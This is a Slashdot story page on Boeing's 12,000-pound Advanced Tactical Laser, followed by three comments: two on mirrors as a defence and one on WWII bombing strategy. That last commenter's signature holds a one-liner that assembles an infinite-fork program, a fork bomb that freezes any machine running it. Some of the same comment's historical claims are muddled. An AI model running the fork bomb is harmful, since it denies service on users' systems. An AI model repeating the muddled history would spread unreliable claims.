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Boeing 12,000lb Chemical Laser Set to Fry Targets

Posted by samzenpus on from the houseful-of-popcorn dept.

coondoggie writes "Boeing this week completed work on and installed a 12,000-pound chemical laser in a C-130H aircraft. Boeing's Advanced Tactical Laser (ATL) which is being developed for the Department of Defense, will destroy, damage or disable targets with little to no collateral damage, supporting missions on the battlefield and in urban operations."

3 of 625 comments (clear)

  1. Re:Passive Defence by jettoblack · · Score: 5, Informative

    No mirror reflects 100% of what hits it. Even if it only absorbs 0.1% of the beam, with this much energy the mirror will quickly deform or burn and its reflectivity will drop.

  2. Re:Passive Defence by Arabani · · Score: 5, Informative

    Furthermore, the output beam is infrared, which your average mirror or shiny metal isn't going to reflect. The other problem with shiny surfaces: how do you keep them shiny for long periods of time?

  3. Re:Delivery vehicles by Hal_Porter · · Score: 5, Informative

    "Bomber" Harris in WW2 tried to destroy Nazi Germany by air bombing of cities. Actually, in his autobiography, Albert Speer said of a raid on Hamburg that destroyed most of Germany's ball bearing factories "if they had kept bombing for another two days, the war would have been over". The problem with Harris is that he was trying to destroy german civillian morale which is both morally wrong and non workable. If the Allies had been targetting choke points in the German war economy it could have caused a very quick collapse. Ball bearings are a special case. The factories take a long time but are very easy to destroy because they apparently used flammable oil baths. And armoured vehicles need regular spare parts that need ball bearings. All of this information was available to the Allies, it's almost common sense.

    Personally I would have threatened to bomb Swedish ball bearing factories too, if they continued to sell to the Nazis.

    And it's very noticable that bombing gradually crippled the german war economy despite the targetting being wrong. When you read about the development of V2s for example, it's quite clear that the German economy at the end of the war was chronically short of everything, mainly because of bombed out factories and railways. Same with all of the Nazi weapons work near the end of the war.
    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;